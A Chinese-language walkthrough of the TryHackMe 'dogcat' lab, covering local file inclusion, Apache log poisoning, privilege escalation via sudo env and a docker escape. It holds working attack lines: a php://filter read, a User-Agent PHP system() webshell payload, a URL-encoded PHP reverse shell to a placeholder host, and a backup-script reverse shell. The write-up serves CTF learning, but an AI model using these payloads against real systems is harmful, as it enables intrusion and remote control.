首页 > 其他分享 >tryhackme-dogcat(狗猫)

tryhackme-dogcat(狗猫)

时间:2024-03-07 23:22:06浏览次数:16  
标签:文件 log .. cats var php dogcat tryhackme

描述已经说明了这个靶机的一些思路,LFI -> 提权 -> 突破docker

信息收集

使用nmap进行端口扫描

开放了8022端口,直接访问80端口

这是一个文件包含,通过尝试,发现传参内容中必须含有catdog,然后会将传参的最后加入.php,这里我使用%00节点也没有利用成功。

尝试目录扫描

gobuster dir -u http://10.10.67.136 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,js,zip -t 66

通过扫描结果发现,有一个flag.php文件,另外还有catsdogs目录,这里就有了一个思路,使用文件包含然后路径包含cats或者dogs目录,然后使用../返回上一级,然后包含flag.php获得flag

使用php://filter/read协议进行读取base64编码

http://10.10.67.136/?view=php://filter/read=convert.base64-encode/resource=/var/www/html/cats/../flag

注意:**由于会在我们的传参最后加入.php,最后的文件名直接flag即可

使用base64命令解密,得到第一个flag

接着我们继续包含index.php文件的内容,查看源代码

http://10.10.67.136/?view=php://filter/read=convert.base64-encode/resource=/var/www/html/cats/../index

解码解码后得到如下内容

代码如下:

<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
            $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>

简单分析一下,判断ext参数有没有值,如果没有设置默认的后缀名为.php,然后检测我们输入的值有没有dogcat,最后包含文件

所以我们只需要传入ext参数,不设置任何值就可以任意文件包含,尝试包含/etc/passwd

curl "http://10.10.67.136/?view=/var/www/html/cats/../../../../../etc/passwd&ext="

初始访问权限

成功执行,现在我们需要获取shell,就用到了apache2的日志文件

  1. apache2的日志文件位置为/var/log/apache2/access.log
  2. access.log文件会记录访问者的IP访问时间请求方法(GET)请求地址请求状态码User-Agent

值得注意的是,User-Agent很长,这里我们可以使用User-Agent写入php代码,使用文件包含包含该文件反弹shell,步骤如下

  1. 构造payload包含access.log文件,然后修改User-Agent
GET /?view=/var/www/html/cats/../../../../var/log/apache2/access.log&ext=&cmd=whoami HTTP/1.1

Host: 10.10.62.206

User-Agent: <?php system($_GET['cmd']);?>

  1. 需要再次进行访问,因为第一次只是将我们的访问记录下来,再次利用会看到www-data用户权限,如果想要回显清晰,可以使用ls类似的命令

成功执行的命令,这时我们需要反弹shell,其实可以直接使用包含页面写入一句话木马,使用菜刀蚁剑这种工具连接,但是这里我们使用脚本语言,例如phppython或者perl进行反弹shell

php反弹shell代码加入payload

php -r '$sock=fsockopen("targetIP","prot");exec("/bin/bash -i 0>&3 2>&3 1>&3");

加入后需要使用url编码,不然会报错

编码后的payload如下,注意将targetIPport改为自己的IP和端口

?view=/var/www/html/cats/../../../../var/log/apache2/access.log&ext=&cmd=php+-r+'$sock%3dfsockopen("targetIP","prot")%3bexec("/bin/bash+-i+0>%263+2>%263+1>%263")%3b'

然后再在本地监听nc -lvp 4444,然后使用burpsuite发送数据包获得shell

成功获得shell,上述中我使用了find查找flag文件,因为并没有在/home目录发现用户

查看/var/www/flag2_QMW7JvaY2LvK.txt文件得到flag2

权限提升

使用sudo -l发现可以执行/usr/bin/env,在GTFOBins找到直接提权获得root权限获取flag3

docker逃逸

这是我第一次接触逃逸,需要了解docker,是因为docker容器可以挂在宿主机器目录的文件,我们在/opt/backups发现文件backup.sh,可能是宿主机在进行备份,在里面加入反弹shell代码,在本地监听,等待一分钟,获取宿主机root权限,flag直接在当前目录

标签:文件,log,..,cats,var,php,dogcat,tryhackme
From: https://www.cnblogs.com/Junglezt/p/18059847

相关文章

  • tryhackme-Spice Hut(香料小屋)
    信息收集通过开放端口可以发现21端口和80端口可以进行下手,首先对21端口进行匿名用户访问测试登录成功将important.jpg和notice.txt文件下载,ftp目录并没有文件,但是通过权限的观察可以进行写入(也就是上传文件),后续可能用到通过查看notice.txt得到一些管理员的信息,大概意思是不......
  • tryhackme-Mr Robot CTF(机器人先生)
    信息收集根据开放端口,首先对80端口进行信息收集默认在访问80端口的时候会进行一段很炫酷的grup引导,Linux启动的信息,不过没什么用,一个伪终端,这里给了我们几个命令可以使用:试了几个,没有太多有用的信息,感兴趣可以自己试一试,这里直接进行目录扫描gobusterdir-uhttp://10.10.......
  • tryhackme- Agent Sudo(须藤特工)
    首先对目标进行端口扫描首先对80进行测试,访问得到下方提示意思就是告诉我们,需要更改user-agent才可以访问想要的数据那么这里的user-agent是什么呢?CTF考验的就是脑洞,一些细节,一开始我以为加粗字体codename就是user-agent,经过尝试是不行的,经过一些尝试,看到发送人的agent为R,......
  • tryhackme-Cyborg
    根据题目的描述,这是一个一个涉及加密档案、源代码分析等的盒子靶机。启动靶机都进行信息收集信息收集使用nmap进行端口扫描扫描到靶机开放两个端口22和80端口注:由于国内网络扫描会出现很慢的问题,根据我后续的扫描结果,该题目确实只有这两个端口开放,实际中要对端口采用更详......
  • tryhackme-blog(博客)
    信息收集使用nmap对靶机进行端口扫描sudonmap-sT-sV-sC-O-p-blog.thm--max-rate10000根据题目的描述,这是一个博客,并且是wordpress站点,直接访问80端口使用wpscan对目标进行扫描,使用-eu枚举用户名wpscan--urlhttp://blog.thm-t50-eu通过扫描我们的到一些......
  • tryhackme进攻性渗透测试-Advanced Exploitation 高级利用
    SteelMountain侦察Nmap-sC-sV-O$IP-oNbasic_scan.nmapNmap-script=vuln$IP-oNvuln_scan.nmap总之,masscan在eth0上工作,所以SYN端口探测技术全部没有响应包需要一个flag把探测流量正确的打入tun0中masscan-p808010.10.205.233-etun0nmap除了使用SYN端口......
  • TryHackMe | Relevant Writeup
    TryHackMe|RelevantWriteup信息收集有2个Web服务(80/tcp、49663/tcp)以及网络共享(445/tcp和rdp的3389端口。有个nt4wrksv,连接看看有一个密码文件,打开是base64解码Bob-!P@$$W0rD!123Bill-Juw4nnaM4n420696969!$$$ 想着拿密码先连接一波,直接就开始连接3389,......
  • TryHackMe | Daily Bugle Writeup
    TryHackMe|DailyBugleWriteup信息收集:可以看到cms是Joomla,然后有一个administrator二级目录,然后开启了mysql服务使用joomscan针对目标站点进行扫描,joomscan是一个专门用于扫描JoomlaCMS的工具。joomscan-uhttp://10.10.184.75 可以看到版本是Joomla3.7.0,到expl......
  • TryHackMe | Skynet
    TryHackMe|Skynet信息收集nmap枚举,139/445端口开放,可知目标机开启了SMB服务dirsearch扫描Task1Deployandcompromisethevulnerablemachine!枚举SMB共享smbclient-L\\ip或者输入enum4linux-S$ip 密码那里直接按回车就行获取到一些可能能访问的SMB服......
  • TryHackMe | HackPark Writeup
    TryHackMe|HackParkWriteup可以用autorecon进行波信息收集,可以自动联动nmap和gobuster,但是扫的时间很久所以我就直接拿nmap扫了可以看到俩个开放端口803389Task1DeploythevulnerableWindowsmachine Whatsthenameoftheclowndisplayedonthehomepage?......